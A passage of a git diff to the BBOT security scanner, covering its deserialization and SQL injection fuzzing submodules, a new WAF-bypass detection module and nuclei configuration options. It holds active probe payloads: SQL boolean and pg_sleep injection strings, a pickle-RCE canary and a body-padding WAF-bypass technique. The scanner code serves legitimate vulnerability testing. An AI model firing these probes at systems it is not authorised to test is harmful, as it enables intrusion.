(java `AC ED`, dotnet `00 01 00 00`, +# pickle `80 04`) without disturbing the payload's length or trailing bytes +MAGIC_HEADER_LENGTH = 4 +HEADER_SCRAMBLE_DELTA = 0x55 + class _PickleOOB: """Pickle-RCE canary: __reduce__ makes the deserializing process resolve @@ -161,7 +166,6 @@ class serial(BaseLightfuzz): } SERIALIZATION_ERRORS = [ - "invalid user", "cannot cast java.lang.string", "dump format error", "java.io.optionaldataexception", @@ -173,6 +177,16 @@ class serial(BaseLightfuzz): "Internal Server Error", ] + # Baseline statuses that can represent an application-level failure to interpret the + # payload, the only kind a deserializer could resolve. 3xx is not an error, 404 is + # routing, 401/403/429 are policy, and 5xx above 500 is upstream infrastructure. + ERROR_RESOLUTION_BASELINE_STATUSES = (500,) + # Rounds of the interleaved trial a candidate must survive. + ERROR_RESOLUTION_TRIAL_ROUNDS = 2 + # Distinct parameters per host allowed to produce Error Resolution findings. Beyond + # this the signal is systemic to the host rather than specific to any parameter. + ERROR_RESOLUTION_HOST_PARAM_CAP = 5 + @property def general_error_yara_rules(self): return self.lightfuzz.serial_general_error_yara_rules @@ -207,12 +221,55 @@ def payload_language(payload_name): """Extract the language family from a payload name (e.g. 'java_base64_string_error' -> 'java').""" return payload_name.split("_")[0] - async def confirm_baseline(self, control_payload, cookies): - """Re-send the control payload to confirm the baseline error state is stable (not transient).""" - confirmation = await self.standard_probe(self.event.data["type"], cookies, control_payload) - if confirmation is None: + @staticmethod + def corrupt_payload(payload, encoding): + """Return a twin of ``payload``: same encoding, length and trailing bytes, scrambled magic + header. Parses like the original, deserializes under nothing. None if no twin can be built.""" + if not payload: + return None + if encoding == "php_raw": + # PHP serialized data leads with a single type character + return f"z{payload[1:]}" if payload[0] != "z" else f"q{payload[1:]}" + try: + data = bytes.fromhex(payload) if encoding == "hex" else base64.b64decode(payload) + except ValueError: return None - return getattr(confirmation, "status_code", None) + header_length = min(MAGIC_HEADER_LENGTH, len(data)) + if not header_length: + return None + corrupted = bytes((b + HEADER_SCRAMBLE_DELTA) % 256 for b in data[:header_length]) + data[header_length:] + if encoding == "hex": + return corrupted.hex().upper() if payload.isupper() else corrupted.hex() + return base64.b64encode(corrupted).decode() + + async def error_resolution_trial(self, payload, control_payload, encoding, cookies, resolved_status): + """Sample payload/twin/control together for several rounds, requiring the payload to + resolve the error and both negatives to preserve it every time. + + The twin parses like the payload but deserializes under nothing, so a twin that also + resolves the error proves the outcome is independent of the payload's content. + Interleaving the arms keeps the comparison within one window of server state. + """ + twin = self.corrupt_payload(payload, encoding) + if twin is None: + return False + for round_number in range(self.ERROR_RESOLUTION_TRIAL_ROUNDS): + if round_number: + await self.lightfuzz.helpers.sleep(0.5) + for probe, arm, should_resolve in ( + (payload, "payload", True), + (twin, "scrambled-header twin", False), + (control_payload, "control", False), + ): + response = await self.standard_probe(self.event.data["type"], cookies, probe) + status = getattr(response, "status_code", None) + if status is None: + self.debug(f"trial round {round_number}: no response for {arm}, inconclusive") + return False + if (status == resolved_status) is not should_resolve: + self.debug(f"trial round {round_number}: {arm} returned {status}, discarding") + return False + return True async def fuzz(self): cookies = self.event.data.get("assigned_cookies", {}) @@ -239,22 +296,24 @@ async def fuzz(self): return try: - http_compare_hex = self.compare_baseline(self.event.data["type"], control_payload_hex, cookies) - http_compare_base64 = self.compare_baseline(self.event.data["type"], control_payload_base64, cookies) - http_compare_php_raw = self.compare_baseline(self.event.data["type"], control_payload_php_raw, cookies) + http_compare_hex = await self.compare_baseline(self.event.data["type"], control_payload_hex, cookies) + http_compare_base64 = await self.compare_baseline(self.event.data["type"], control_payload_base64, cookies) + http_compare_php_raw = await self.compare_baseline( + self.event.data["type"], control_payload_php_raw, cookies + ) except HttpCompareError as e: self.debug(f"HttpCompareError encountered: {e}") return # Map each payload set to its control payload for baseline confirmation payload_sets = [ - (base64_serialization_payloads, http_compare_base64, control_payload_base64), - (hex_serialization_payloads, http_compare_hex, control_payload_hex), - (php_raw_serialization_payloads, http_compare_php_raw, control_payload_php_raw), + (base64_serialization_payloads, http_compare_base64, control_payload_base64, "base64"), + (hex_serialization_payloads, http_compare_hex, control_payload_hex, "hex"), + (php_raw_serialization_payloads, http_compare_php_raw, control_payload_php_raw, "php_raw"), ] # Proceed with payload probes - for payload_set, payload_baseline, control_payload in payload_sets: + for payload_set, payload_baseline, control_payload, encoding in payload_sets: for payload_type, payload in payload_set.items(): try: matches_baseline, diff_reasons, reflection, response = await self.compare_probe( @@ -279,40 +338,18 @@ async def fuzz(self): self.debug(f"Status code {status_code} not in (200, 500), skipping") continue - baseline_status = payload_baseline.baseline.status_code - # Skip Error Resolution if baseline uses a non-standard HTTP status code (>511). - # Non-standard codes (e.g. 512 from GlobalProtect) are application-specific - # and don't reliably indicate an error state that deserialization could "resolve". - if baseline_status > 511: - self.debug( - f"Baseline status {baseline_status} is non-standard (>511), skipping Error Resolution for {payload_type}" - ) - continue - - # Skip inherently unstable baselines: 429 (rate limit) and 403 (often WAF challenge pages) - # flip between error and success unpredictably, producing false positives. - if baseline_status in (403, 429): - self.debug( - f"Baseline status {baseline_status} is transient (WAF/rate-limit), " - f"skipping Error Resolution for {payload_type}" - ) - continue - general_error_matches = await self.lightfuzz.helpers.yara.match( self.general_error_yara_rules, response.text ) + baseline_status = payload_baseline.baseline.status_code if ( status_code == 200 and "code" in diff_reasons + and baseline_status in self.ERROR_RESOLUTION_BASELINE_STATUSES and not general_error_matches # ensure the 200 is not actually an error ): - # Confirm the baseline error state is stable by re-sending the control payload. - # If the control also returns 200 now, the original error was transient. - confirmation_status = await self.confirm_baseline(control_payload, cookies) - if confirmation_status == 200: - self.debug( - f"Baseline confirmation returned 200 for {payload_type}, original error was transient, skipping" - ) + if not await self.error_resolution_trial(payload, control_payload, encoding, cookies, status_code): + self.debug(f"{payload_type} failed the Error Resolution trial, skipping") continue def get_title(text): @@ -329,7 +366,7 @@ def get_title(text): "name": "Possible Unsafe Deserialization", "severity": "HIGH", "confidence": "LOW", - "description": f"POSSIBLE Unsafe Deserialization. {self.metadata()} Technique: [Error Resolution (Baseline: [{payload_baseline.baseline.status_code}] {baseline_title} -> Probe: [{status_code}] {probe_title})] Serialization Payload: [{payload_type}]", + "description": f"POSSIBLE Unsafe Deserialization. {self.metadata()} Technique: [Error Resolution (Baseline: [{baseline_status}] {baseline_title} -> Probe: [{status_code}] {probe_title})] Serialization Payload: [{payload_type}]", "_technique": "error_resolution", "_language": self.payload_language(payload_type), } @@ -354,15 +391,21 @@ def get_title(text): ) break - # Final safety net: if Error Resolution findings span multiple language families, discard them. - # A real deserialization vuln only deserializes one language's format. + # Final safety net, tracked per host: a sink deserializes one language's format, and a + # host whose hits span several families (or too many parameters) is producing noise. error_resolution_results = [r for r in self.results if r.get("_technique") == "error_resolution"] if error_resolution_results: - languages = set(r["_language"] for r in error_resolution_results) - if len(languages) > 1: - self.debug( - f"Error Resolution findings span multiple language families ({languages}), discarding as false positives" - ) + state = self.lightfuzz.submodule_state.setdefault("serial", {}) + host_state = state.setdefault(str(self.event.host), {"languages": set(), "parameters": set()}) + host_state["languages"].update(r["_language"] for r in error_resolution_results) + host_state["parameters"].add(self.parameter_name) + discard_reason = None + if len(host_state["languages"]) > 1: + discard_reason = f"host hit multiple language families ({sorted(host_state['languages'])})" + elif len(host_state["parameters"]) > self.ERROR_RESOLUTION_HOST_PARAM_CAP: + discard_reason = f"host exceeded {self.ERROR_RESOLUTION_HOST_PARAM_CAP} Error Resolution parameters" + if discard_reason: + self.verbose(f"Discarding Error Resolution findings: {discard_reason}") self.results = [r for r in self.results if r.get("_technique") != "error_resolution"] # Clean up internal metadata keys before results are emitted diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index 545d54a494..aef0ec3940 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -1,6 +1,13 @@ +import html +from urllib.parse import quote + from .base import BaseLightfuzz from bbot.errors import HttpCompareError +# frameworks disagree on how they spell an escaped quote (Jinja/ASP.NET `'`, Django `'`, +# PHP `'`, XHTML `'`), and a reflected payload has to be removed in whichever it uses. +HTML_QUOTE_ENTITIES = ("'", "'", "'", "'") + class sqli(BaseLightfuzz): """ @@ -13,6 +20,10 @@ class sqli(BaseLightfuzz): - Tests quote escape sequence variations - Matches against known SQL error patterns + * Code-change Detection: + - Compares the status code of a single-quote probe against a doubled-quote probe + - Requires a positive boolean (TRUE/FALSE) content differential to confirm + * Time-based Blind Detection: - Uses vendor-specific time delay payloads - Confirms delays with statistical analysis @@ -41,6 +52,19 @@ class sqli(BaseLightfuzz): "string not properly terminated", ] + # both halves are the same length and differ by one character, so a reflected copy strips + # cleanly and any surviving body difference comes from the query result set + BOOLEAN_PROBE_PAIRS = [ + ("' AND '1'='1", "' AND '1'='2"), + (" AND 1=1", " AND 1=2"), + ] + + # one vs. two benign characters, mirroring the `'`/`''` pair in length with no SQL meaning + BENIGN_CONTROL_SUFFIXES = ("a", "aa") + + # a WAF block or a rate limit says nothing about the query behind the parameter + INCONCLUSIVE_STATUS_CODES = (403, 429) + DELAY_PROBE_TEMPLATES = [ "'||pg_sleep({d})--", "' OR (SELECT TRUE FROM pg_sleep({d})) LIMIT 1-- -", @@ -61,7 +85,7 @@ async def _confirm_code_change(self, probe_value, cookies, initial_status_codes, """ for i in range(rounds): try: - fresh_compare = self.compare_baseline( + fresh_compare = await self.compare_baseline( self.event.data["type"], probe_value, cookies, @@ -115,10 +139,106 @@ async def _confirm_code_change(self, probe_value, cookies, initial_status_codes, return True + @staticmethod + def _strip_payload(text, payload): + """Remove reflected copies of a payload from a response body, raw, URL-encoded and HTML-escaped.""" + escaped = html.escape(payload) + variants = [payload, quote(payload), payload.replace(" ", "+"), escaped] + variants += [escaped.replace("'", entity) for entity in HTML_QUOTE_ENTITIES] + for variant in variants: + text = text.replace(variant, "") + return text + + async def _probe_body(self, http_compare, payload, cookies): + """Send ``payload`` and return its parsed body with reflections stripped, or None when the + probe fails or the status is inconclusive.""" + try: + probe = await self.compare_probe( + http_compare, + self.event.data["type"], + payload, + cookies, + additional_params_populate_empty=True, + ) + except HttpCompareError as e: + self.debug(f"Boolean probe [{payload}] failed: {e}") + return None + if not probe[3]: + return None + if probe[3].status_code in self.INCONCLUSIVE_STATUS_CODES: + self.debug(f"Boolean probe [{payload}] returned {probe[3].status_code}, cannot confirm") + return None + return http_compare.parse_body(self._strip_payload(probe[3].text, payload)) + + async def confirm_boolean_differential(self, http_compare, probe_value, cookies): + """Require positive SQL-logic evidence before asserting injection from a status change. + + A WAF signature match or a repacked envelope both produce a bare status flip; only a + content differential shows the value reaching a query. + + Returns the confirming ``(true_payload, false_payload)`` pair, or None. + """ + for true_suffix, false_suffix in self.BOOLEAN_PROBE_PAIRS: + true_payload = f"{probe_value}{true_suffix}" + false_payload = f"{probe_value}{false_suffix}" + + true_body = await self._probe_body(http_compare, true_payload, cookies) + if true_body is None: + continue + false_body = await self._probe_body(http_compare, false_payload, cookies) + if false_body is None: + continue + + if http_compare.compare_body(true_body, false_body) is not False: + self.debug(f"No boolean differential for [{true_suffix}] / [{false_suffix}]") + continue + + # an unstable page produces a differential on its own, so the TRUE body must reproduce + repeat_body = await self._probe_body(http_compare, true_payload, cookies) + if repeat_body is None: + continue + if http_compare.compare_body(true_body, repeat_body) is False: + self.debug("Response body is not deterministic, discarding boolean differential") + continue + + self.verbose(f"Boolean differential confirmed for {self.event.url}: [{true_suffix}] vs [{false_suffix}]") + return true_payload, false_payload + return None + + async def is_quote_specific(self, http_compare, probe_value, cookies, status_codes): + """Verify the status flip tracks the quote characters and not the payload's shape. + + If the benign control pair reproduces the same status triplet, the flip tracks value + length or envelope validity rather than quoting. + """ + control_codes = [] + for suffix in self.BENIGN_CONTROL_SUFFIXES: + try: + control = await self.compare_probe( + http_compare, + self.event.data["type"], + f"{probe_value}{suffix}", + cookies, + additional_params_populate_empty=True, + ) + except HttpCompareError as e: + self.debug(f"Quote-specificity control probe failed: {e}") + return True + if not control[3]: + return True + control_codes.append(control[3].status_code) + + if (status_codes[0], *control_codes) == status_codes: + self.debug( + f"Benign control pair reproduced the status triplet {status_codes}, the change is not quote-specific" + ) + return False + return True + async def fuzz(self): cookies = self.event.data.get("assigned_cookies", {}) probe_value = self.incoming_probe_value(populate_empty=True) - http_compare = self.compare_baseline( + http_compare = await self.compare_baseline( self.event.data["type"], probe_value, cookies, additional_params_populate_empty=True ) @@ -187,15 +307,28 @@ async def fuzz(self): double_single_quote[3].status_code, ) confirmed = await self._confirm_code_change(probe_value, cookies, initial_status_codes) - if confirmed: + quote_specific = confirmed and await self.is_quote_specific( + http_compare, probe_value, cookies, initial_status_codes + ) + boolean_pair = ( + await self.confirm_boolean_differential(http_compare, probe_value, cookies) + if quote_specific + else None + ) + if boolean_pair: self.results.append( { "name": "Possible SQL Injection", "severity": "HIGH", "confidence": "MEDIUM", - "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({initial_status_codes[0]}->{initial_status_codes[1]}->{initial_status_codes[2]})]", + "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({initial_status_codes[0]}->{initial_status_codes[1]}->{initial_status_codes[2]})] Boolean Confirmation: [{boolean_pair[0]}] vs [{boolean_pair[1]}]", } ) + elif confirmed and quote_specific: + self.verbose( + f"Discarding code change {initial_status_codes} for {self.event.url}: " + "no boolean differential, the value does not reach a query" + ) else: self.debug("Failed to get responses for both single_quote and double_single_quote") except HttpCompareError as e: @@ -309,6 +442,8 @@ async def fuzz(self): ), } ) + # remaining templates only re-confirm the same injection point + break else: self.verbose( f"Stage 2 rejected {self.event.url}: d_high={d_high:.2f}s, " diff --git a/bbot/modules/medusa.py b/bbot/modules/medusa.py index 2be1333f9c..926e25a5e1 100644 --- a/bbot/modules/medusa.py +++ b/bbot/modules/medusa.py @@ -60,10 +60,12 @@ class Config(BaseModuleConfig): }, { # The git repo will be copied because during build, files and subfolders get created. That prevents the Ansible git module to cache the repo. + # remote_src keeps the copy local; without it every file round-trips through the controller. "name": "Copy medusa repo", "copy": { "src": "#{BBOT_TEMP}/medusa/gitrepo/", "dest": "#{BBOT_TEMP}/medusa/workdir/", + "remote_src": True, }, }, { diff --git a/bbot/modules/nowafpls.py b/bbot/modules/nowafpls.py new file mode 100644 index 0000000000..9e01bf478a --- /dev/null +++ b/bbot/modules/nowafpls.py @@ -0,0 +1,50 @@ +from bbot.modules.base import BaseModule + + +class nowafpls(BaseModule): + watched_events = ["URL"] + produced_events = ["FINDING"] + flags = ["active", "invasive", "web-heavy"] + meta = { + "description": "Detect WAF bypasses via HTTP body padding (nowafpls technique)", + "created_date": "2026-07-14", + "author": "@liquidsec", + } + + per_host_only = True + in_scope_only = True + + async def filter_event(self, event): + if "waf" not in event.tags: + return False, "target is not tagged as behind a WAF" + if any(t.startswith("status-3") for t in event.tags): + return False, "URL is a redirect; padding probe would target the redirect, not the app" + return True + + async def handle_event(self, event): + result = await self.helpers.nowafpls.is_bypassable(event) + if not result.bypassed: + self.verbose(f"No bypass finding for {event.url}: {result.summary}") + return + + provider = result.waf_provider or "WAF/inspection layer" + await self.emit_event( + { + "host": str(event.host), + "url": event.url, + "severity": "LOW", + "confidence": "CONFIRMED", + "name": "WAF Bypass via Body Padding", + "description": ( + f"{provider} bypassable via nowafpls-style body padding " + f"(padding size: {result.padding_size} bytes)." + ), + }, + "FINDING", + parent=event, + context=( + f"{{module}} bypassed the WAF at {event.url} via {result.padding_size}-byte body padding. " + f"Unpadded malicious POST diverged from the baseline; the padded POST converged back, " + f"indicating the payload reached the application past the inspection layer." + ), + ) diff --git a/bbot/modules/nuclei.py b/bbot/modules/nuclei.py index a6d223770c..f24edbde96 100644 --- a/bbot/modules/nuclei.py +++ b/bbot/modules/nuclei.py @@ -1,13 +1,18 @@ import asyncio +import fcntl import json import os import shutil import yaml +from pathlib import Path from typing import Literal -from itertools import islice +from collections import Counter +from contextlib import suppress + +from pydantic import field_validator from bbot.modules.base import BaseModule -from bbot.core.config.models import BaseModuleConfig, Field +from bbot.core.config.models import BaseModuleConfig, Field, VersionStr class nuclei(BaseModule): @@ -21,7 +26,7 @@ class nuclei(BaseModule): } class Config(BaseModuleConfig): - version: str = Field("3.11.1", description="nuclei version") + version: VersionStr = Field("3.11.1", description="nuclei version") tags: str = Field("", description="execute a subset of templates that contain the provided tags") templates: str = Field("", description="template or template directory paths to include in the scan") severity: str = Field("", description="Filter based on severity field available in the template.") @@ -38,6 +43,33 @@ class Config(BaseModuleConfig): ), ) etags: str = Field("", description="tags to exclude from the scan") + etypes: str = Field( + "", + description=( + "protocol types to exclude from the scan, comma-separated " + "(dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript)" + ), + ) + exclude_severity: str = Field("", description="Filter out templates with the given severities") + include_tags: str = Field( + "", description="tags to run even though nuclei excludes them by default (e.g. dos, fuzz, bruteforce)" + ) + template_ids: str = Field("", description="Only run templates with the given IDs (wildcards allowed)") + exclude_ids: str = Field("", description="Exclude templates with the given IDs") + protocol_types: str = Field( + "", + description="Only run templates of the given protocol types (http, dns, ssl, tcp, javascript, etc.)", + ) + profile: str = Field( + "", description="nuclei template profile to run (built-in profile id, or path to a profile file)" + ) + template_condition: str = Field( + "", description='expression to filter templates by, e.g. "epss_score>=0.1 && max_request<=3"' + ) + new_templates: bool = Field(False, description="Only run templates added in the latest templates release") + new_templates_versions: str = Field( + "", description="Only run templates added in the given templates releases, e.g. 'v10.4.8,v10.4.9'" + ) budget: int = Field(1, description="Used in budget mode to set the number of allowed requests per host") silent: bool = Field(False, description="Don't display nuclei's banner or status messages") directory_only: bool = Field(True, description="Filter out 'file' URL event (default True)") @@ -45,6 +77,36 @@ class Config(BaseModuleConfig): batch_size: int = Field(200, description="Number of targets to send to Nuclei per batch (default 200)") module_timeout: int = Field(21600, description="Max time in seconds to spend handling each batch of events") + @field_validator("severity", "exclude_severity", "protocol_types", mode="before") + @classmethod + def _validate_nuclei_enums(cls, value, info): + # nuclei rejects a bad value with exit code 2, but only after the scan has started and + # the templates have updated. Catching it here fails at preset-validation time instead. + # These lists are literals because Config bodies are exec'd without module globals; + # TestNucleiEnumDrift pins them against what the nuclei binary advertises. + allowed = { + "severity": ("info", "low", "medium", "high", "critical", "unknown"), + "exclude_severity": ("info", "low", "medium", "high", "critical", "unknown"), + "protocol_types": ( + "dns", + "file", + "http", + "headless", + "tcp", + "workflow", + "ssl", + "websocket", + "whois", + "code", + "javascript", + ), + }[info.field_name] + for entry in str(value or "").split(","): + entry = entry.strip().lower() + if entry and entry not in allowed: + raise ValueError(f"Invalid {info.field_name} '{entry}'. Must be one of: {', '.join(allowed)}") + return value + deps_ansible = [ { "name": "Download nuclei", @@ -68,20 +130,12 @@ async def setup(self): self.nuclei_config_dir = self.nuclei_state_dir / "config" self.nuclei_cache_dir = self.nuclei_state_dir / "cache" self.nuclei_templates_dir = self.nuclei_state_dir / "templates" + # built-in template profiles ship inside the templates repo + self.profiles_dir = self.nuclei_templates_dir / "profiles" self.nuclei_config_dir.mkdir(parents=True, exist_ok=True) self.nuclei_cache_dir.mkdir(parents=True, exist_ok=True) - await self._update_templates() - # nuclei writes its version marker before the tarball finishes extracting, - # so a killed update can leave the marker pointing at an empty dir and - # every subsequent run reports "up-to-date." Verify and repair once. - if not self._templates_installed(): - self.warning("Nuclei templates appear incomplete; wiping isolated state and re-downloading") - shutil.rmtree(self.nuclei_state_dir, ignore_errors=True) - self.nuclei_config_dir.mkdir(parents=True, exist_ok=True) - self.nuclei_cache_dir.mkdir(parents=True, exist_ok=True) - await self._update_templates() - if not self._templates_installed(): - return False, "Failed to install nuclei templates after retry" + if not await self._ensure_templates(): + return False, "Failed to install nuclei templates after retry" self.proxy = self.scan.web_config.get("http_proxy", "") self.mode = self.config.get("mode") self.ratelimit = self.config.get("ratelimit") @@ -97,9 +151,55 @@ async def setup(self): self.etags = self.config.get("etags") if self.etags: self.info(f"Excluding the following nuclei tags: [{self.etags}]") + self.etypes = self.config.get("etypes") + if self.etypes: + self.info(f"Excluding the following nuclei protocol types: [{self.etypes}]") self.severity = self.config.get("severity") if self.mode != "severe" and self.severity != "": self.info(f"Limiting nuclei templates to the following severities: [{self.severity}]") + + # straight passthrough filters; nuclei validates these values itself and exits non-zero + for option, label in ( + ("exclude_severity", "Excluding the following severities"), + ("include_tags", "Force-including the following tags"), + ("template_ids", "Limiting nuclei to the following template IDs"), + ("exclude_ids", "Excluding the following template IDs"), + ("protocol_types", "Limiting nuclei to the following protocol types"), + ): + value = self.config.get(option, "") + setattr(self, option, value) + if value: + self.info(f"{label}: [{value}]") + + self.profile = self.config.get("profile", "") + if self.profile: + # nuclei prints an FTL line for an unknown profile but still exits 0, so resolve it ourselves + if not Path(self.profile).is_file() and not (self.profiles_dir / f"{self.profile}.yml").is_file(): + available = ", ".join(sorted(p.stem for p in self.profiles_dir.glob("*.yml"))) + return False, ( + f"Invalid nuclei profile '{self.profile}'. Must be a path to a profile file, " + f"or one of: {available}" + ) + self.info(f"Using nuclei template profile: [{self.profile}]") + + self.template_condition = self.config.get("template_condition", "") + if self.template_condition: + self.info(f"Filtering nuclei templates by condition: [{self.template_condition}]") + matched = await self._count_condition_templates(self.template_condition) + if not matched: + return False, ( + f"nuclei template_condition '{self.template_condition}' matched 0 templates. " + "Note that nuclei silently ignores unrecognized field names." + ) + self.verbose(f"template_condition matched {matched:,} templates") + + self.new_templates = self.config.get("new_templates", False) + self.new_templates_versions = self.config.get("new_templates_versions", "") + if self.new_templates: + self.info("Limiting nuclei to templates added in the latest nuclei-templates release") + if self.new_templates_versions: + self.info(f"Limiting nuclei to templates added in release(s): [{self.new_templates_versions}]") + self.iserver = self.scan.config.get("interactsh_server", None) self.itoken = self.scan.config.get("interactsh_token", None) self.retries = self.config.get("retries") @@ -131,16 +231,16 @@ async def setup(self): f"Running nuclei in BUDGET mode. This mode calculates which nuclei templates can be used, constrained by your 'budget' of number of requests. Current budget is set to: {self.budget}" ) - self.info("Processing nuclei templates to perform budget calculations...") - - self.nucleibudget = NucleiBudget(self) + summary = await self._load_template_summary() + self.nucleibudget = NucleiBudget(summary, self.budget) self.budget_templates_file = self.helpers.tempfile(self.nucleibudget.collapsible_templates, pipe=False) + stats = self.nucleibudget.severity_stats self.info( - f"Loaded [{str(sum(self.nucleibudget.severity_stats.values()))}] templates based on a budget of [{str(self.budget)}] request(s)" + f"Loaded [{str(sum(stats.values()))}] templates based on a budget of [{str(self.budget)}] request(s)" ) self.info( - f"Template Severity: Critical [{self.nucleibudget.severity_stats['critical']}] High [{self.nucleibudget.severity_stats['high']}] Medium [{self.nucleibudget.severity_stats['medium']}] Low [{self.nucleibudget.severity_stats['low']}] Info [{self.nucleibudget.severity_stats['info']}] Unknown [{self.nucleibudget.severity_stats['unknown']}]" + f"Template Severity: Critical [{stats['critical']}] High [{stats['high']}] Medium [{stats['medium']}] Low [{stats['low']}] Info [{stats['info']}] Unknown [{stats['unknown']}]" ) return True @@ -149,24 +249,34 @@ async def handle_batch(self, *events): temp_target = self.helpers.make_target() for e in events: temp_target.add(e.url, e) + events_by_url = {e.url: e for e in events} + events_by_hostport = {(str(e.host), e.port): e for e in events} nuclei_input = [e.url for e in events] - async for severity, template, tags, host, url, name, extracted_results in self.execute_nuclei(nuclei_input): - # this is necessary because sometimes nuclei is inconsistent about the data returned in the host field - cleaned_host = temp_target.get(host) - parent_event = self.correlate_event(events, cleaned_host) - + async for severity, template, tags, host, port, input_url, url, name, extracted_results in self.execute_nuclei( + nuclei_input + ): + # http templates echo back the exact URL we sent; ssl and network templates only report host and port + parent_event = ( + events_by_url.get(input_url) or events_by_hostport.get((host, port)) or temp_target.get(host) + ) if not parent_event: + self.verbose(f"Failed to correlate nuclei result for {host}") continue - if url == "": + # a result without a URL of its own (ssl, network) only takes its parent's if they share a port + if not url and port in (None, parent_event.port): url = parent_event.url + scanned = url or self.helpers.make_netloc(parent_event.host, port) if severity == "INFO" and "tech" in tags: + technology = {"technology": str(name).lower(), "host": str(parent_event.host)} + if url: + technology["url"] = url await self.emit_event( - {"technology": str(name).lower(), "url": url, "host": str(parent_event.host)}, + technology, "TECHNOLOGY", parent_event, - context=f"{{module}} scanned {url} and identified {{event.type}}: {str(name).lower()}", + context=f"{{module}} scanned {scanned} and identified {{event.type}}: {str(name).lower()}", ) continue @@ -174,42 +284,24 @@ async def handle_batch(self, *events): if len(extracted_results) > 0: description_string += f" Extracted Data: [{','.join(extracted_results)}]" - if severity in ["INFO", "UNKNOWN"]: - await self.emit_event( - { - "host": str(parent_event.host), - "url": url, - "description": description_string, - "name": f"Nuclei Vuln - {name}", - "severity": "INFO", - "confidence": "HIGH", - }, - "FINDING", - parent_event, - context=f"{{module}} scanned {url} and identified {{event.type}}: {description_string}", - ) + finding = { + "host": str(parent_event.host), + "description": description_string, + "name": f"Nuclei Vuln - {name}", + "severity": "INFO" if severity in ("INFO", "UNKNOWN") else severity, + "confidence": "HIGH", + } + if url: + finding["url"] = url else: - await self.emit_event( - { - "severity": severity, - "host": str(parent_event.host), - "url": url, - "description": description_string, - "name": f"Nuclei Vuln - {name}", - "confidence": "HIGH", - }, - "FINDING", - parent_event, - context=f"{{module}} scanned {url} and identified {severity.lower()} {{event.type}}: {description_string}", - ) - - def correlate_event(self, events, host): - for event in events: - if host in event: - return event - self.verbose(f"Failed to correlate nuclei result for {host}. Possible parent events:") - for event in events: - self.verbose(f" - {event.url}") + finding["port"] = port + severity_str = "" if finding["severity"] == "INFO" else f"{severity.lower()} " + await self.emit_event( + finding, + "FINDING", + parent_event, + context=f"{{module}} scanned {scanned} and identified {severity_str}{{event.type}}: {description_string}", + ) async def execute_nuclei(self, nuclei_input): command = [ @@ -225,21 +317,45 @@ async def execute_nuclei(self, nuclei_input): "-stats-json", "-retries", self.retries, + "-timeout", + self.scan.http_timeout, ] - if self.helpers.system_resolvers: + if self.helpers.dns.resolvers: command += ["-r", self.helpers.resolver_file] for hk, hv in self.scan.custom_http_headers.items(): command += ["-H", f"{hk}: {hv}"] - for cli_option in ("severity", "templates", "iserver", "itoken", "tags", "etags"): - option = getattr(self, cli_option) + # (module attribute, nuclei flag) -- the two differ wherever nuclei's flag is hyphenated + for attr, flag in ( + ("severity", "severity"), + ("templates", "templates"), + ("iserver", "iserver"), + ("itoken", "itoken"), + ("tags", "tags"), + ("etags", "etags"), + ("exclude_severity", "exclude-severity"), + ("include_tags", "include-tags"), + ("template_ids", "template-id"), + ("exclude_ids", "exclude-id"), + ("protocol_types", "type"), + ("profile", "profile"), + ("template_condition", "template-condition"), + ("new_templates_versions", "new-templates-version"), + ): + option = getattr(self, attr) if option: - command.append(f"-{cli_option}") + command.append(f"-{flag}") command.append(option) + if self.new_templates: + command.append("-new-templates") + + if self.etypes: + command += ["-exclude-type", self.etypes] + if self.scan.config.get("interactsh_disable") is True: self.info("Disabling interactsh in accordance with global settings") command.append("-no-interactsh") @@ -281,8 +397,12 @@ async def execute_nuclei(self, nuclei_input): ) name = info.get("name", "") severity = info.get("severity", "").upper() - tags = info.get("tags", []) + # nuclei writes "tags": null for a template without tags + tags = info.get("tags") or [] host = j.get("host", "") + port = j.get("port", "") + port = int(port) if str(port).isdigit() else None + input_url = j.get("url", "") url = j.get("matched-at", "") if not self.helpers.is_url(url): url = "" @@ -290,7 +410,7 @@ async def execute_nuclei(self, nuclei_input): extracted_results = j.get("extracted-results", []) if template and name and severity: - yield (severity, template, tags, host, url, name, extracted_results) + yield (severity, template, tags, host, port, input_url, url, name, extracted_results) else: self.debug("Nuclei result missing one or more required elements, not reporting. JSON: ({j})") finally: @@ -344,7 +464,116 @@ def _nuclei_env(self): env["XDG_CACHE_HOME"] = str(self.nuclei_cache_dir) return env - async def _update_templates(self): + async def _count_condition_templates(self, condition): + """Ask nuclei how many templates a -template-condition expression selects. + + nuclei treats an unrecognized field name as a false match rather than an error, so a typo + silently selects nothing. Counting up front turns that into a startup failure. + """ + result = await self.run_process( + [ + "nuclei", + "-tl", + "-no-stdin", + "-disable-update-check", + "-update-template-dir", + self.nuclei_templates_dir, + "-template-condition", + condition, + ], + env=self._nuclei_env(), + ) + return sum(1 for line in (result.stdout or "").splitlines() if line.strip().endswith(".yaml")) + + def _templates_version(self): + config_file = self.nuclei_config_dir / "nuclei" / ".templates-config.json" + try: + return json.loads(config_file.read_text()).get("nuclei-templates-version", "") + except (OSError, json.JSONDecodeError): + return "" + + async def _load_template_summary(self): + """Budget mode's view of the template tree, cached against the installed templates version. + + Parsing all ~13.5k templates takes about 35 seconds, and the result only changes when the + templates do. + """ + templates_version = self._templates_version() + cache_key = f"nuclei_template_summary:{templates_version}" + if templates_version: + # the version is baked into the key, so entries only go stale when templates update + cached = self.helpers.cache_get(cache_key, cache_hrs=24 * 365) + if cached: + try: + return json.loads(cached) + except json.JSONDecodeError: + self.debug("Nuclei template summary cache is corrupt, rebuilding") + else: + self.debug("Could not determine nuclei templates version, skipping template summary cache") + + self.info("Processing nuclei templates to perform budget calculations...") + summary = await self.helpers.run_in_executor_mp( + summarize_nuclei_templates, str(self.nuclei_templates_dir), _timeout=600 + ) + if templates_version: + self.helpers.cache_put(cache_key, json.dumps(summary)) + return summary + + async def _ensure_templates(self): + # 13k+ template files extract into one shared dir. Concurrent updaters + # (xdist workers, parallel scans) fight over the same tree and each + # re-does the other's work, so serialize on a lock beside it. A waiter + # that finds the tree already populated skips its own redundant update. + # The corruption repair below wipes the tree, so it has to run under the + # same lock: wiping while another worker is mid-extract destroys its + # output and makes it fail too. + uncontended = await 